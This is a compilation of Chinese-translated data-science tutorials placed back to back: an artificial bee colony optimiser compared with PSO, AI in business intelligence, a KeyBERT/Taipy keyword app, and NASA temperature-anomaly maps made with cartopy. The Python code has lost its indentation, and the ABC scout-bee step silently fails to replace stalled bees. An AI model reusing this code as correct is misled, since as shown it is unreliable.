self.best_solution = np.zeros(n_dim)
self.best_fitness = -1e8
self.limit = 10
def solve(self, task, num_iterations):
for _ in tqdm(range(num_iterations)):
# 'Employed bee' Phase
for bee in self.bees:
partner_idx = np.random.randint(len(self.bees))
bee.explore(self.bees[partner_idx], task)
# 'Onlooker bee' Phase
fitnesses = np.array([bee.fitness for bee in self.bees])
probs = fitnesses / fitnesses.sum()
for _ in range(len(self.bees)):
bee_idx = np.random.choice(range(len(self.bees)), p=probs)
self.bees[bee_idx].explore(np.random.choice(self.bees), task)
# 'Scout bee' Phase & Update best solution
for bee in self.bees:
if bee.counter > self.limit:
bee = Bee(self.n_dim, (bee.low, bee.high))
if bee.fitness > self.best_fitness:
self.best_fitness = bee.fitness
self.best_solution = deepcopy(bee.pos)
return self.best_solution
注意到在每次迭代中,每只Bee
类的蜜蜂都会执行‘雇佣蜂’阶段、‘观察蜂’阶段以及‘侦查蜂’阶段。它们不是不同的实体。本质上,我们只是跨每次迭代实现了探索和开发的元素。
既然我们有 PSO,为什么还需要 ABC?
到目前为止,我们已经了解了人工蜂群的直觉,并对数学和代码实现进行了逐步讲解。
作为一种元启发式算法,ABC 可以以多种不同方式使用。然而,让我们专注于一个特定场景,在该场景中,ABC 相对于 PSO 具有优势,这也是我在上一篇文章最后一段中承诺的内容。
ABC 非常有能力摆脱局部最优,不会被‘困住’。
为什么 ABC 能够解决 PSO 无法解决的问题?既然我们在 ABC 和 PSO 中都维持了一个候选解的种群,它们不应该以相同的方式工作吗?
-
关键原因在于‘侦查蜂’阶段,它在进展减缓时会随机探索解决空间的新区域。
-
此外,‘雇佣蜂’和‘观察蜂’阶段的探索比 PSO 更具攻击性(有可能不仅朝向而且远离其他候选点),而 PSO 则倾向于朝向全局最优和局部最优。
当然,通过远离另一个候选点,我们可能确实是在倒退而不是前进。这给我们一个重要的原则 — 我们只保留好的东西。(这类似于为什么进化算法中的突变会导致改进)。在Bee.explore
中,注意到self.pos
仅在self.fitness
有所改善时才会被覆盖。
为了说明 ABC 的有效性,让我们创建一个具有多个局部最优点的目标函数,并使用 ABC 和 PSO 两者来求解它。
问题的公式化
考虑一个如下所示的简单二维问题,由以下代码生成。(请注意,这个函数本身是一个有用的学习点,对于那些想要创建测试优化算法环境的人来说。)
x = np.linspace(-5, 5, 100)
y = np.linspace(-5, 5, 100)
x, y = np.meshgrid(x, y)
def multipeak(x, y):
peak1 = 0.5 * np.exp(-((x-1)**2 + (y-1)**2))
peak2 = 0.6 * np.exp(-((x+1)**2 + (y-1)**2))
peak3 = 0.7 * np.exp(-((x-1)**2 + (y+1)**2))
peak4 = 0.8 * np.exp(-((x+3)**2 + (y+3)**2))
return np.maximum.reduce([peak1, peak2, peak3, peak4])
z = multipeak(x, y)
print("z.shape: ", z.shape)
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
surface = ax.plot_surface(x, y, z, cmap='inferno')
ax.set_xlabel('X')
ax.set_ylabel('Y')
plt.title('Surface Plot')
fig.colorbar(surface, shrink=0.6, aspect=8)
plt.show()
具有全局最优值 0.8 和局部最优值 0.5 至 0.7 的函数。图像由作者提供,使用 Python 生成。
我之前在本系列的第一篇文章中介绍了解决高维数学方程的价值主张,以位置规划为例(‘用例’部分;就在开头)。
在上述二维问题中,我们看到有四个峰值,每个峰值的大小略有不同。三个峰值位于搜索空间的中心附近,而第四个峰值(最高的那个)位于远离其他峰值的角落。这样做的目的是展示一个可能会选择局部最优而不是全局最优的问题。
一个现实问题通常具有更高的维度。让我们将上述内容扩展到创建一个 8 维函数。
def full_blackbox(x1, y1, x2, y2, x3, y3, x4, y4):
peak1 = 0.5 * np.exp(
-((x1-1)**2 + (y1-1)**2 + (x2-1)**2 + (y2-1)**2 + (x3-1)**2 + (y3-1)**2 + (x4-1)**2 + (y4-1)**2)
)
peak2 = 0.6 * np.exp(
-((x1+1)**2 + (y1-1)**2 + (x2+1)**2 + (y2-1)**2 + (x3+1)**2 + (y3-1)**2 + (x4+1)**2 + (y4-1)**2)
)
peak3 = 0.7 * np.exp(
-((x1-1)**2 + (y1+1)**2 + (x2-1)**2 + (y2+1)**2 + (x3-1)**2 + (y3+1)**2 + (x4-1)**2 + (y4+1)**2)
)
peak4 = 0.8 * np.exp(
-((x1+2)**2 + (y1+2)**2 + (x2+2)**2 + (y2+2)**2 + (x3+2)**2 + (y3+2)**2 + (x4+2)**2 + (y4+2)**2)
)
return np.maximum.reduce([peak1, peak2, peak3, peak4])
这里,x1、y1、x2、y2、x3、y3、x4、y4 只是一个向量的不同维度。你可以把这些看作四个位置的坐标,它们共同构成了解决方案。
可以看到,点 (1,1,1,1,1,1,1,1)、(-1,1,-1,1,-1,1,-1,1) 和 (1,-1,1,-1,1,-1,1,-1) 分别是局部最优点,其值为 0.5、0.6 和 0.7。同时,全球最优点位于 (-2,-2,-2,-2,-2,-2,-2,-2),目标值为 0.8。
根据我一贯的面向对象的做法,我们来定义以下类。
class Task:
def __init__(self):
pass
def score(self, x_arr, with_noise=False):
if with_noise:
return full_blackbox(*x_arr) + 0.1*np.random.randn()
else:
return full_blackbox(*x_arr)
这使得它不仅与当前的 ABC 代码兼容,还与上述链接文章中共享的 PSO 代码兼容。
结果
使用建立的类,解决用例只需几行代码。
对于 PSO:
task = Task()
swarm = Swarm(n_dim=8, n_population=2000, param_limits=(-5, 5))
solution = swarm.solve(task, 500)
print(solution)
print(task.score(solution))
粒子群优化的结果(作者截图)。在 52 秒内获得了 0.7 的目标值。
对于 ABC:
task = Task()
colony = Colony(n_dim=8, n_population=2000, param_limits=(-5, 5))
best_solution = colony.solve(task, 500)
print(best_solution)
print(task.score(best_solution))
人工蜂群的结果(作者截图)。在 20 秒内获得了 0.8 的目标值。
我们这里有一个赢家!不仅 ABC 找到了真实的全局最优点,而且用时不到一半。自己试试看吧!
结论
我们看到,作为一种元启发式算法,人工蜂群在平衡探索和利用方面非常有效。本文展示了涉及的数学只是简单的线性代数,并且直觉上实际上不需要任何生物学或蜜蜂的知识。
使用此方法,你可以用几行代码解决多维优化问题,并在几秒钟内获得最优解。
恭喜!又一个实用的工具在你的工具箱里!
参考文献
[1] B. Akay 和 D. Karaboga,《人工蜂群算法》在群体智能算法一书中(2020 年)CRC 出版社。
数据分析中的人工智能
原文:
towardsdatascience.com/artificial-intelligence-in-analytics-f11d2deafdf0
AI 驱动的商业智能。是炒作还是现实?
·发表于Towards Data Science ·阅读时间 5 分钟·2023 年 11 月 18 日
–
由vackground.com在Unsplash上的照片
我们生活在一个迷人的时代,人工智能(AI)正在改变我们做事的方式。这包括数据管道设计和分析。今天我想讨论的是 AI 如何推动自动化大数据分析和报告。如果你在阅读这篇文章,肯定对商业智能(BI)有所了解。在我将近 15 年的分析职业生涯中,关于人工智能对 BI 的影响一直是一个持续讨论的话题。很难说哪个更重要:AI 与 BI 的融合及其巨大潜力,还是围绕它的各种热议。这一叙述反映了我对 AI 在分析和商业智能中不断演变作用的个人观点和信仰。
公司旨在根据每分钟收集的大量数据做出更好的决策。BI 作为一个学科,旨在分析这些数据,以生成可能具有一定货币价值的洞察。这反过来赋予了竞争优势。然而,BI 在这方面的效果有限。这就是 AI 发挥作用的地方,带来了 AI 驱动的增强流程自动化的所有好处。那么它是如何具体工作的呢?
AI 驱动的商业智能。是炒作还是现实?
这只是另一种短暂的火花,还是它将改变我们进行分析的方式?
AI/BI 融合及其好处
毋庸置疑,BI 是任何数据平台设计中的重要组成部分,但它有内在的缺陷,限制了它能为业务提供的价值。
分析是 BI 的内在任务,而 BI 多年来的主要关注点是数据可视化。问题在于,BI 本身无法预测数据结果,也不能提出建议。
预测性 AI 功能
以Sisense的预测趋势能力为例[1]。这是一种非常基础的线性回归练习,融入了一个强大的 BI 工具中。这是一个管理特性,因此分析师无需担心回归模型本身。BI 工具全权处理,且其 AI 引擎具有以下模型:
-
先知
-
霍尔特-温特斯
-
随机森林
-
自动 ARIMA
如果我们将 AI 视为教机器具备如解决问题和学习等人类能力的过程(官方定义),那么它对 BI 的潜在影响就变得显而易见。AI 驱动的 BI 能力可以消除这些限制。我们不仅可以使用 AI 来理解文本,还可以理解用户可能想要什么,并生成进一步的建议。
自然语言
在许多方面,AI 帮助业务利益相关者找到他们所需的信息和洞见。例如,在我之前的故事中,我提到像Sisense(Simply Ask)[2]和Thoughtspot这样的 BI 工具使用 AI 驱动的直观“类似 Google 的搜索界面”[3],从任何现代数据仓库解决方案中获取数据洞见,即 Google Big Query、Redshift、Snowflake 或 Databricks。
平台特定工具和高级技术
[towardsdatascience.com
在我看来,增强的商业智能自动化是 AI 改变 BI 过程的最重要方式。
时间就是金钱,事实就是如此。如果 AI 能更快地生成洞见,那么它就是一种值得进一步在 BI 过程中实施的技术改进。使用人工智能的企业在收入生成和整体运营表现方面超越了竞争对手。
另一个很好的例子是Duet AI [4]集成到 Google 的 Looker BI 解决方案中。只需几句话,Looker 用户就可以创建计算字段、公式、高级报告,甚至更多——在 Google Slides 中创建整个演示文稿。
现在,从数据中获取洞见就像 Google 搜索一样简单。
低代码集成
一些工具甚至更进一步,不仅启用聊天风格的数据探索,还支持低代码或无代码的 ML 模型创建、管理和部署[5]。例如,DOMO.AI提供了一个具有低代码交互的 ML 模型管理系统,我们可以连接OpenAI适配器来导入、配置和训练模型。
AI 驱动的解释
许多 BI 工具将提供叙述和解释功能。它是如何工作的?报告背后的 AI 分析所有元素(字段或字段组合),这些元素在数据收集中的特定点(时间、地点等)造成了变化。例如,它可以识别设备类别
是收入
某种增加的可能解释。
AI 与 BI 配对和协作的最一致例子之一是 AI 可以基于 BI 数据建议最终用户该做什么。设想一个包含促销和其他活动的营销报告。当营销团队与这些洞察互动时,AI 可以建议如何优化新活动以针对特定受众或其他促销事件。
分割
另一个很好的例子是 AI 如何在 BI 中帮助分割。例如,AI 驱动的报告解决方案在生成如何优化不同用户群体的再营销建议时,可以提供集群示例。例如,启用Tableau 的 Einstein Discovery [6]后,我们将获得改善预测结果的建议。它迅速处理数百万行数据,揭示重要的相关性,预测结果,并推荐提升预期结果的策略。
结论
商业智能作为一个概念,指的是自动化大数据处理和分析的系统。商业智能的全部价值在于将大量数据分解为详细的洞察,但作为一个过程,它也有一定的局限性。它有助于从总体上了解更广泛的商业图景。随着 AI 的发展,从公司数据中获取洞察应该像查询 Google 一样简单。AI 自动化是一项备受欢迎的商业功能,因为企业将精力集中在建立渠道和降低与改善用户体验相关的开销成本上。使用人工智能的公司在收入生成和整体运营表现方面超过了竞争对手。尽管如此,许多公司在将 AI 融入其分析中时仍然滞后。这在 BI 领域中是一个明显的趋势,几乎每个解决方案都尝试通过将关键模型发现的特性带入语义模型来进行特性影响分析 [6]。如果你是公司高管,值得阅读几本关于 AI 驱动分析的书籍。
推荐阅读
[1] docs.sisense.com/main/SisenseLinux/forecasting-future-results.htm
[2] docs.sisense.com/main/SisenseLinux/simply-ask-query-in-natural-language.htm
[3] docs.thoughtspot.com/cloud/latest/search-sage
[5] ai.domo.com/
[6] help.tableau.com/current/pro/desktop/en-us/einstein_discovery_predictions.htm
[7] www.atscale.com/product/ai-link/
arXiv 关键词提取与分析管道,使用 KeyBERT 和 Taipy
构建一个包括前端用户界面和后端管道的关键词分析 Python 应用程序
·发表于 Towards Data Science ·阅读时间 12 分钟·2023 年 4 月 18 日
–
由 Marylou Fortier 提供,来源于 Unsplash
随着来自社交媒体、客户评论和在线平台的文本数据量呈指数级增长,我们必须能够理解这些非结构化数据。
关键词提取和分析是强大的自然语言处理(NLP)技术,帮助我们实现这一目标。
关键词提取 涉及自动识别和提取给定文本中最相关的词汇,而 关键词分析 则涉及分析这些关键词,以洞察潜在的模式。
在这份逐步指南中,我们将探讨如何利用强大的工具 KeyBERT 和 Taipy 构建一个关键词提取和分析管道及网页应用程序,应用于 arXiv 摘要。
目录
(1) 背景***(2)*** 工具概述***(3)*** 逐步指南***(4)*** 总结
这里是本文的 GitHub 仓库。
(1) 背景
由于人工智能(AI)和机器学习研究的迅速进展,每天跟踪大量发表的论文可能具有挑战性。
关于这类研究, arXiv 无疑是领先的信息来源之一。arXiv(发音为‘archive’)是一个开放获取的档案馆,收藏了大量涵盖计算机科学、数学等各学科的科学论文。
arXiv 截图 | 图像使用 CC 2.0 许可证
arXiv 的一个关键特性是它为每篇上传到平台上的论文提供摘要。这些摘要是理想的数据源,因为它们简洁、富含技术词汇,并包含领域特定术语。
因此,我们将利用最新的 arXiv 摘要批次作为此项目中处理的文本数据。
目标是创建一个网络应用程序(包括前端界面和后端管道),用户可以根据特定输入值查看 arXiv 摘要的关键词和关键短语。
完成的应用程序用户界面截图 | 作者提供的图像
(2) 工具概述
在这个项目中,我们将使用三种主要工具:
-
arXiv API Python 包装器
-
KeyBERT
-
Taipy
(i) arXiv API Python 包装器
arXiv 网站提供了公共 API 访问,以最大化其开放性和互操作性。例如,为了在我们的 Python 工作流程中检索文本摘要,我们可以使用 arXiv API 的 Python 包装器。
arXiv API Python 包装器提供了一组函数,用于在数据库中搜索符合特定条件的论文,如作者、关键词、类别等。
它还允许用户检索有关每篇论文的详细元数据,如标题、摘要、作者和出版日期。
(ii) KeyBERT
KeyBERT(源自“keyword”和“BERT”)是一个 Python 库,提供了一个易于使用的界面来使用 BERT 嵌入和余弦相似度,以提取文档中最能代表文档本身的词汇。
KeyBERT 工作原理的示意图 | 图像使用 MIT 许可证
KeyBERT 的最大优势在于其灵活性。它允许用户轻松修改基础设置(例如参数、嵌入、分词)以实验和微调获得的关键词。
在这个项目中,我们将调整以下参数集:
-
返回的顶级关键词数
-
单词 n-gram 范围(即最小和最大 n-gram 长度)
-
多样化算法(最大总和距离 或 最大边际相关性),它决定了提取关键词的相似度定义方式。
-
候选数(如果设置了最大总和距离)
-
多样性值(如果设置了最大边际相关性)
两种多样化算法(最大和距离和最大边际相关性)共享相同的基本思想,即平衡两个目标:检索与查询高度相关的结果,并且内容多样以避免彼此之间的冗余。
(iii) Taipy
Taipy 是一个开源的 Python 应用程序构建工具,使开发人员和数据科学家能够迅速将数据和机器学习算法转换为完整的 web 应用。
尽管设计为低代码库,Taipy 还提供了高度的用户自定义。因此,它非常适合广泛的使用案例,从简单的仪表板到生产就绪的工业应用。
Taipy 组件 | 作者提供的图片
Taipy 有两个关键组件:Taipy GUI 和 Taipy Core。
-
Taipy GUI:一个简单的图形用户界面构建工具,使我们能够轻松创建交互式前端应用界面。
-
Taipy Core:一个现代的后端框架,能够高效地构建和执行管道和场景。
虽然我们可以独立使用 Taipy GUI 或 Taipy Core,但将两者结合使用可以高效地构建强大的应用程序。
(3) 分步指南
如前面在上下文部分提到的,我们将构建一个 web 应用,提取和分析选定的 arXiv 摘要的关键词。
以下图示说明了数据和工具如何集成。
项目概述 | 作者提供的图片
让我们开始创建上述管道和 web 应用的步骤。
第 1 步 — 初始设置
我们首先使用下面显示的相应版本,通过 pip 安装必要的 Python 库:
第 2 步 — 设置配置文件
由于将使用许多参数,将它们保存在单独的配置文件中是理想的。以下 YAML 文件 config.yml
包含初始的配置参数值。
配置文件设置好后,我们可以通过以下代码将这些参数值轻松导入到其他 Python 脚本中。
with open('config.yml') as f:
cfg = yaml.safe_load(f)
第 3 步 — 构建函数
在此步骤中,我们将创建一系列 Python 函数,这些函数构成管道的重要组件。我们创建一个新的 Python 文件 functions.py
来存储这些函数。
(3.1) 检索和保存 arXiv 摘要和元数据
第一个要添加到 functions.py
的函数是用于通过 arXiv API Python 包从 arXiv 数据库中检索文本摘要的函数。
接下来,我们编写一个函数,将摘要文本和相应的元数据存储在 pandas DataFrame 中。
(3.2) 处理数据
对于数据处理步骤,我们有以下函数来将摘要发布日期解析为适当的格式,同时创建新的空列以存储关键词。
(3.3) 运行 KeyBERT
接下来,我们创建一个函数来运行 KeyBERT 库中的 KeyBert
类。KeyBert
类是使用 BERT 进行关键词提取的最小方法,是我们入门的最简单方法。
生成 BERT 嵌入的方法有很多种(例如,Flair,Huggingface Transformers和 spaCy)。在这种情况下,我们将使用 sentence-transformers ,这是 KeyBERT 创建者推荐的。
特别是,我们将使用默认的[all-MiniLM-L6-v2](https://huggingface.co/sentence-transformers/all-MiniLM-L6-v2)
模型,因为它在速度和质量之间提供了很好的平衡。
以下函数从每个摘要中迭代提取关键词,并将其保存到前一步创建的新 DataFrame 列中。
(3.4) 获取关键词值计数
最后,我们创建一个函数生成关键词的值计数,以便稍后我们可以在图表中绘制关键词频率。
步骤 4 — 设置 Taipy Core:后台配置
为了协调和连接后台管道流程,我们将利用 Taipy Core 的功能。
Taipy Core 提供了一个开源框架,便于创建、管理和高效执行我们的数据管道。它有四个基本概念:数据节点、任务、管道和场景。
Taipy Core 的四个基本概念 | 图片来自作者
为了设置后台,我们将使用配置对象(来自Config
类)来建模和定义上述概念的特征和期望行为。
(4.1) 数据节点
与大多数数据科学项目一样,我们从处理数据开始。在 Taipy Core 中,我们使用数据节点来定义我们将处理的数据。
我们可以将数据节点视为 Taipy 对数据变量的表示。然而,数据节点不是直接存储数据,而是包含了一组如何检索所需数据的指令。
数据节点可以读取和写入各种数据类型,例如 Python 对象(如str
、int
、list
、dict
、DataFrame
等)、Pickle 文件、CSV 文件、SQL 数据库等。
使用 Config.configure_data_node()
函数,我们根据 步骤 2 中配置文件的值定义关键词参数的数据节点。
id
参数设置数据节点的名称,而 default_data
参数定义默认值。
接下来,我们将配置对象包含到管道的五组数据中,如下所示:
五个数据节点沿管道的示意图 | 图片来自作者
以下代码定义了五个配置对象:
(4.2) 任务
Taipy 中的任务可以被视为 Python 函数。我们可以使用 Config.configure_task()
定义任务的配置对象。
我们需要设置五个任务配置对象,分别对应 步骤 3 中构建的五个功能。
五个任务的示意图 | 作者提供的图片
input
和 output
参数分别指输入和输出数据节点。
例如,在 task_process_data_cfg
中,输入是包含 arXiv 搜索结果的原始 pandas DataFrame 的数据节点,而输出是存储处理后数据的 DataFrame 的数据节点。
skippable
参数设置为 True 时,表示如果输入没有更改,则可以跳过该任务。
下面是我们迄今为止定义的数据节点和任务的流程图:
数据节点和任务流程图 | 作者提供的图片
(4.3) 管道
管道是由 Taipy 自动执行的一系列任务。它是一个配置对象,由一系列任务配置对象组成。
在这种情况下,我们将五个任务分配到两个管道中(一个用于数据准备,一个用于关键字分析),如下所示:
两个管道中的任务 | 作者提供的图片
我们使用以下代码来定义两个管道配置:
与所有配置对象一样,我们使用 id
参数为这些管道配置分配名称。
(4.4) 场景
在这个项目中,我们的目标是创建一个应用程序,反映基于输入参数(例如 N-gram 长度)变化的更新关键字集合(及其相应分析)。
为了实现这一目标,我们利用了强大的场景概念。Taipy 场景提供了一个框架,用于在不同条件下运行管道,例如用户修改输入参数或数据时。
场景还允许我们保存来自不同输入的输出,以便在同一应用程序界面中进行轻松比较。
由于我们预计要对管道进行直接的顺序运行,我们可以将两个管道配置放入一个场景配置对象中。
第 5 步 — 设置 Taipy GUI(前端)
现在让我们转变思路,探索应用程序的前端方面。Taipy GUI 提供了 Python 类,使得创建具有文本和图形元素的强大 Web 应用程序界面变得容易。
页面是用户界面的基础,它们包含文本、图像或控件,通过视觉元素在应用程序中显示信息。
需要创建两个页面:(i) 关键字分析仪表板页面和 (ii) 数据查看器页面,以显示关键字 DataFrame。
(5.1) 数据查看器
Taipy GUI 可以被视为增强版的 Markdown,这意味着我们可以使用 Markdown 语法来构建我们的前端界面。
我们从简单的前端页面开始,显示提取的 arXiv 摘要数据的 DataFrame。该页面设置在一个 Python 脚本(名为data_viewer_md.py
)中,并将 Markdown 存储在一个名为data_page
的变量中。
在 Markdown 中创建 Taipy 构造的基本语法是使用文本片段,其通用格式为<|...|...|>
。
在上述 Markdown 中,我们传递了我们的 DataFrame 对象df
和table
,后者表示一个表格元素。仅这些几行代码,我们就可以获得如下输出:
数据查看器页面的截图 | 作者提供的图片
(5.2) 关键词分析仪表板
现在我们转到应用程序的主要仪表板页面,在那里我们可以更改参数并可视化获得的关键词。可视化元素将包含在一个 Python 脚本(名为analysis_md.py
)中
此页面包含多个组件,所以让我们一步步来。首先,在应用程序加载时,我们实例化参数值。
接下来,我们定义页面的输入部分,用户可以在其中更改参数和场景。此部分将保存到一个名为input_page
的变量中,最终将如下所示:
关键词分析页面的输入部分 | 作者提供的图片
我们在 Markdown 中创建一个七列布局,以便将输入字段(例如文本输入、数字输入、下拉菜单选择器)和按钮整齐地组织起来。
我们将解释
on_change
和on_action
参数中元素的回调函数,因此现在无需担心这些内容。
之后,我们定义输出部分,其中将显示基于输入参数的关键词频率表和图表。
关键词分析页面的输出部分 | 作者提供的图片
除了指定输出部分的 Markdown 外,我们还将定义图表属性,将其存储在output_page
变量中。
在上述最后一行中,我们将输入和输出部分合并为一个名为analysis_page
的变量。
(5.3) 主着陆页面
在我们的前端界面完成之前,还有最后一部分。现在我们已经准备好两个页面,我们将在主着陆页面上显示它们。
主页面在main.py
中定义,这是应用程序启动时运行的脚本。目标是创建一个功能菜单栏,供用户在页面之间切换。
从上述代码中,我们可以看到 Taipy 的状态功能正在运行,其中页面根据会话状态中选择的页面进行渲染。
步骤 6——使用场景连接后端和前端
此时,我们的前端界面和后端管道已成功设置。然而,我们还需要将它们链接在一起。
更具体地说,我们需要创建 场景 组件,以便管道中处理输入参数的变化,并将输出反映在仪表板中。
场景的附加好处是每个输入输出集都可以被保存,以便用户可以重新查看这些先前的配置。
我们将定义四个函数来设置场景组件,这些函数将存储在 analysis_md.py
脚本中:
(6.1) 更新图表
这个函数根据存储在会话状态中的所选场景的输入参数更新关键词数据框、频率统计表和相应的条形图。
(6.2) 提交场景
这个函数将用户修改后的输入参数集注册为场景,并将这些值通过管道传递。
(6.3) 创建场景
这个函数保存一个已执行的场景,以便它可以轻松地从创建的场景下拉菜单中重新创建和引用。
(6.4) 同步 GUI 和 Core
这个函数从保存的场景下拉菜单中选择的场景中检索输入参数,并在前端 GUI 中显示结果输出。
第 7 步—— 启动应用程序
在最后一步,我们通过完成 main.py
中的代码来结束,以确保 Taipy 启动并在脚本执行时正确运行。
上述代码完成了以下步骤:
-
实例化 Taipy Core
-
设置场景创建和执行
-
检索关键词数据框和频率统计表
-
启动 Taipy GUI(带有指定页面)
最后,我们可以在命令行中运行 python main.py
,我们构建的应用程序将可以在 localhost:8020
上访问。
完成应用程序的前端界面 | 图片来源:作者
(4) 总结
与文档相关的关键词提供了该文档主题的简明而全面的指示,突出了其中包含的最重要的主题、概念、观点或论点。
在本文中,我们探讨了如何使用 KeyBERT 和 Taipy 提取和分析 arXiv 摘要中的关键词。我们还发现了如何将这些功能作为一个包含前端用户界面和后端管道的 web 应用程序进行交付。
随意查看附带的 GitHub 仓库 中的代码。
在你离开之前
我欢迎你 加入我的数据科学发现之旅! 关注这个 Medium 页面,并访问我的 GitHub,以获取更多引人入胜和实用的内容。与此同时,祝你使用 KeyBERT 和 Taipy 构建关键词提取和分析管道时玩得开心!
一次关于臭名昭著的机器学习失误和失败的巡礼,这些失误和失败引起了世界的关注
towardsdatascience.com [## 如何使用 LLM 代理抓取维基百科
使用 LangChain 代理和工具与 OpenAI 的 LLM 及函数调用进行维基百科网页抓取的简单指南
medium.datadriveninvestor.com](https://medium.datadriveninvestor.com/how-to-web-scrape-wikipedia-using-llm-agents-f0dba8400692?source=post_page-----2972e81d9fa4--------------------------------)
使用 NASA 的太空研究评估全球温度异常 - 第二部分
使用 cartopy
、matplotlib
和 Python 中的 netCDF
数据绘制从 NASA 的 GISSTEMP 获得的全球地表温度异常数据。
·
关注 发布于 Towards Data Science ·10 min read·2023 年 6 月 5 日
–
在本文撰写时(2023 年 5 月),全球 CO2 排放浓度为 425 ppm。这一浓度水平是 1400 万年来的最高点,预计在未来几年还会继续上升(The World Counts,2023)。显而易见,人为温室气体(GHG)排放是全球变暖的主要驱动因素。在本系列的第一部分,我讨论了全球地表温度异常、相关科学及其不确定性,基于 NASA 戈达德太空研究所提供的过去 142 年(自 1880 年以来)的数据(GISSTEMP)。
## 使用 NASA 的太空研究评估全球温度异常 — 第 I 部分
探索历史全球温度异常背后的基础数据、不确定性和科学原理
towardsdatascience.com
最近,世界气象组织(WMO)发布的一份报告称,相对于 1850–1900 年,全球近地表温度预计在未来五年内上升 1.1°C 至 1.8°C(WMO,2023)。报告进一步指出,有 98%的可能性未来五年中某一年将成为有记录以来最热的一年,并且有可能其中一年会暂时超过 1.5°C 的阈值。
从全球来看,2022 年是有记录以来第五暖的年份(WMO,2023)。气候相关灾害继续成为 2022 年的新闻头条,包括巴基斯坦的灾难性洪水、佛罗里达州的飓风、欧洲的热浪、中国、欧洲和美国河流的干旱及创纪录的水位下降,以及格陵兰岛的冰盖融化创纪录。
在本系列的这一部分,我将关注 2022 年的全球地表温度异常,使用 NASA 的GISSTEMP数据。在这篇文章的第一部分,我将创建显示 2023 年 4 月相对于 1951–1980 年均值的全球地表温度异常的地图,涵盖不同的投影方式。在第二部分,我将绘制显示 2022 年不同季节的全球地表温度异常的地图。我将使用 Python 中的 matplotlib、cartopy 和 netcdf4 包来实现这一目的。让我们开始吧。
从太空看到的海洋云层。照片由NASA提供,发布在Unsplash
A. 2023 年 4 月的全球地表温度异常,相对于 1951-1980 年的平均值
数据
相对于基准期的历史时间范围内的全球地表温度异常数据是开放访问的,并从 NASA 的 GISS 表面温度分析网站下载(GISTEMP 团队,2023 年和 Lenssen 等人,2019 年)。我选择了 4 月作为平均期,2023 年的开始到结束作为时间段,1951 年开始到 1980 年结束作为基准期。1200 公里的平滑半径指的是一个站点对区域温度的影响距离。
NASA 的 GISSTEMP 网站上的数据门户。数据来源于 GISTEMP 团队,2023 年和 Lenssen 等人,2019 年。图片由作者提供。
我下载了网格数据作为netCDF(.nc)文件。netCDF 代表网络公共数据格式,是一种包含一组用于数组导向的机器无关数据访问的接口的文件格式(国家雪冰数据中心,2023 年)。netCDF 文件中的数据使用 netCDF4 包的 Dataset 模块在 Python 中读取,如下所示:
使用 netCDF4 包的 Dataset 模块读取 netCDF 文件。图片由作者提供。
给定的数据变量包含经度(lon)、纬度(lat)和温度异常(TEMPANOMALY)数据。这些数据属于 numpy 掩码数组类型,这意味着数据可能包含一些缺失或无效的条目。在这里,temp_anomaly
数据可能在每个坐标点上并不总是可用。
访问不同的数据点以获取经度、纬度和温度异常。图片由作者提供。
2. 使用 Cartopy 绘图
安装 Cartopy 包的指南
要安装 cartopy 包,首先需要安装它的依赖项shapely和pyproj。shapely 和 pyproj 包的兼容 wheel 文件可以根据Python 版本和Windows 版本在这里获取。安装这些包后,我成功地通过pip install cartopy
安装了 cartopy 包。
用于在不同投影下绘制数据的函数
以下函数使用projection
和projection_name
作为参数,这些参数决定了我们想要显示的地图投影类型及其标题。
在下面的函数temp_anomaly_plot()
中,首先向图中添加一个具有特定投影的坐标轴。地图被设置为覆盖全球范围。clevs
定义了我们想要在地图上投影的数据(温度异常)的范围。在这里,我将这个范围定义为-5°C 到 6°C。cmap
指的是颜色图。在这里,我选择了 coolwarm 颜色图,其中蓝色反映寒冷端,红色反映温暖端。
该函数使用lons
和lats
作为坐标,temp_anomaly
作为数据绘制填充轮廓。默认情况下,Cartopy 假设坐标与结果图的投影匹配。因此,安全的选项是提供transform关键字,以便 Cartopy 理解坐标指的是特定的原始投影(此处为 ccrs.PlateCarree())并需要将其转换为新的projection
类型。最后,在地图下方添加了一个水平颜色条。
def temp_anomaly_plot(projection, projection_name):
fig = plt.figure(figsize = (12, 6))
#Add an axes to the current figure and make it the current axes.
ax = plt.axes(projection = projection)
#make the map global rather than having it zoom in to extent of the plotted data
ax.set_global()
ax.gridlines(linestyle = "--", color = "black")
#Set contour levels, then draw the plot and a colorbar
clevs = np.arange(-5, 6)
cmap = "coolwarm"
#Plot filled contours
plt.contourf(lons, lats,
temp_anomaly,
clevs,
transform = ccrs.PlateCarree(),
cmap = cmap,
extend = "both" #To add arrows on both ends of the colorbar
)
#Add coastlines after filling contours
ax.coastlines(resolution = "110m", lw = 1)
plt.title(f"April 2023 L-OTI (°C) vs 1951-1980 mean\n Projection: {projection_name}")
cb = plt.colorbar(ax = ax,
orientation = "horizontal",
pad = 0.02,
aspect = 20, #ratio of long to short dimension
shrink = 0.5, #Fraction by which to multiply the size of the colorbar
ticks = clevs #To get the ticks same as clevs -5 to 5 degree Celsius in colorbar
)
cb.set_label("°C", size = 12, rotation = 0, labelpad = 15)
cb.ax.tick_params(labelsize = 10)
plt.savefig(f"../output/temp_anomaly_{projection_name}.jpeg",
dpi = 300)
plt.show()
3. 投影
地图投影永远无法完全准确地表示球形地球。地图投影试图将地球表面或其一部分从球形(3D)转换为平面形状(2D)。由于地图投影过程的原因,每张地图都会显示角度符合性、距离和面积的失真(QGIS 文档,2023)。在 Python 中,地理空间数据可以使用 Cartopy 包以各种投影绘制。
使用上节定义的temp_anomaly_plot
函数,我在全球地图上以三种不同的投影绘制了全球表面温度异常:
PlateCarree 投影
PlateCarree 投影是一种等距圆柱投影,其标准纬线位于赤道。
Cartopy 包的 Platecarree 投影(顶部),以及 2023 年 4 月相对于 1951 至 1980 年平均值的表面温度异常地图的 Platecarree 投影(底部)。作者插图。
罗宾逊投影
罗宾逊投影是世界地图中最常用的伪圆柱投影之一。这是一种折衷方案,其中地图上的面积、角度符合性和距离的失真是可以接受的(QGIS 文档,2023)。
Cartopy 包的罗宾逊投影(顶部),以及 2023 年 4 月相对于 1951 至 1980 年平均值的表面温度异常地图的罗宾逊投影(底部)。作者插图。
正射投影
正射投影是一种方位投影投影,将地球表面从无限距离投影到平面。在这种投影中,需要指定要在平面中心查看的central_longitude
和central_latitude
。因此,在这种投影中,全球的所有位置无法一次全部可见。
Cartopy 包的正射投影(上),以及 2023 年 4 月的地表温度异常相对于 1951 年至 1980 年平均的正射投影地图(下)。插图作者提供。
B. 全球地表温度异常按季节分布
